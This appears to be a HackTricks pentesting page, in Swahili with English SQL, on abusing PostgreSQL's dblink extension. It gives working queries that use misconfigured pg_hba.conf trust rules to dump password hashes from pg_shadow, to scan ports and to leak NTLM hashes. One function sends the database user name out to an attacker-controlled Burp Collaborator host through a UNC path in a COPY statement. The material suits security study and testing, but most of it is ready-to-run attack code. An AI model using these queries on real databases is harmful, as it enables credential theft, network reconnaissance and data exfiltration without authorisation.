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98 lines
3.9 KiB
Markdown
98 lines
3.9 KiB
Markdown
# Network - Privesc, Port Scanner and NTLM chanllenge response disclosure
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{{#include ../../../banners/hacktricks-training.md}}
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**Pata** [**maelezo zaidi kuhusu mashambulizi haya katika karatasi asilia**](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt).
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Tangu **PostgreSQL 9.1**, ufungaji wa moduli za ziada ni rahisi. [Marekebisho yaliyoandikishwa kama `dblink`](https://www.postgresql.org/docs/current/contrib.html) yanaweza kufungwa kwa kutumia [`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html):
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```sql
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CREATE EXTENSION dblink;
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```
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Mara tu umepakia dblink unaweza kuwa na uwezo wa kufanya hila za kuvutia:
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### Kuinua Mamlaka
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Faili `pg_hba.conf` inaweza kuwa imewekwa vibaya **ikikubali muunganisho** kutoka **localhost kama mtumiaji yeyote** bila kuhitaji kujua nenosiri. Faili hii inaweza kupatikana kawaida katika `/etc/postgresql/12/main/pg_hba.conf` na usanidi mbaya unaonekana kama:
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```
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local all all trust
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```
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_Kumbuka kwamba usanidi huu hutumiwa mara nyingi kubadilisha nenosiri la mtumiaji wa db wakati msimamizi analisahau, hivyo wakati mwingine unaweza kuliona._\
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_Kumbuka pia kwamba faili pg_hba.conf inaweza kusomwa tu na mtumiaji na kikundi cha postgres na inaweza kuandikwa tu na mtumiaji wa postgres._
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Kesi hii ni **faida ikiwa** tayari una **shell** ndani ya mwathirika kwani itakuruhusu kuungana na hifadhidata ya postgresql.
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Makosa mengine yanayoweza kutokea ni kama ifuatavyo:
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```
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host all all 127.0.0.1/32 trust
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```
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Kwa sababu itaruhusu kila mtu kutoka kwenye localhost kuungana na database kama mtumiaji yeyote.\
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Katika kesi hii na ikiwa kazi ya **`dblink`** inafanya **kazi**, unaweza **kuinua mamlaka** kwa kuungana na database kupitia muunganisho ulioanzishwa tayari na kufikia data ambayo haupaswi kuwa na uwezo wa kufikia:
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```sql
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SELECT * FROM dblink('host=127.0.0.1
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user=postgres
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dbname=postgres',
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'SELECT datname FROM pg_database')
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RETURNS (result TEXT);
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SELECT * FROM dblink('host=127.0.0.1
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user=postgres
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dbname=postgres',
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'select usename, passwd from pg_shadow')
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RETURNS (result1 TEXT, result2 TEXT);
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```
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### Port Scanning
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Kwa kutumia `dblink_connect` unaweza pia **kutafuta bandari zilizo wazi**. Ikiwa hiyo **kazi haifanyi kazi unapaswa kujaribu kutumia `dblink_connect_u()` kama hati inavyosema kwamba `dblink_connect_u()` ni sawa na `dblink_connect()`, isipokuwa itaruhusu watumiaji wasiokuwa wasimamizi kuungana kwa kutumia njia yoyote ya uthibitishaji\_.
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```sql
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SELECT * FROM dblink_connect('host=216.58.212.238
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port=443
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user=name
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password=secret
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dbname=abc
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connect_timeout=10');
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//Different response
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// Port closed
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RROR: could not establish connection
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DETAIL: could not connect to server: Connection refused
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Is the server running on host "127.0.0.1" and accepting
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TCP/IP connections on port 4444?
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// Port Filtered/Timeout
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ERROR: could not establish connection
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DETAIL: timeout expired
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// Accessing HTTP server
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ERROR: could not establish connection
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DETAIL: timeout expired
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// Accessing HTTPS server
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ERROR: could not establish connection
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DETAIL: received invalid response to SSL negotiation:
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```
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Kumbuka kwamba **kabla** ya kuwa na uwezo wa kutumia `dblink_connect` au `dblink_connect_u` unaweza kuhitaji kutekeleza:
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```
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CREATE extension dblink;
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```
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### UNC njia - kufichuliwa kwa NTLM hash
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```sql
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-- can be used to leak hashes to Responder/equivalent
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CREATE TABLE test();
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COPY test FROM E'\\\\attacker-machine\\footestbar.txt';
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```
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```sql
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-- to extract the value of user and send it to Burp Collaborator
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CREATE TABLE test(retval text);
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CREATE OR REPLACE FUNCTION testfunc() RETURNS VOID AS $$
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DECLARE sqlstring TEXT;
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DECLARE userval TEXT;
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BEGIN
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SELECT INTO userval (SELECT user);
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sqlstring := E'COPY test(retval) FROM E\'\\\\\\\\'||userval||E'.xxxx.burpcollaborator.net\\\\test.txt\'';
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EXECUTE sqlstring;
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END;
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$$ LANGUAGE plpgsql SECURITY DEFINER;
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SELECT testfunc();
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```
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{{#include ../../../banners/hacktricks-training.md}}
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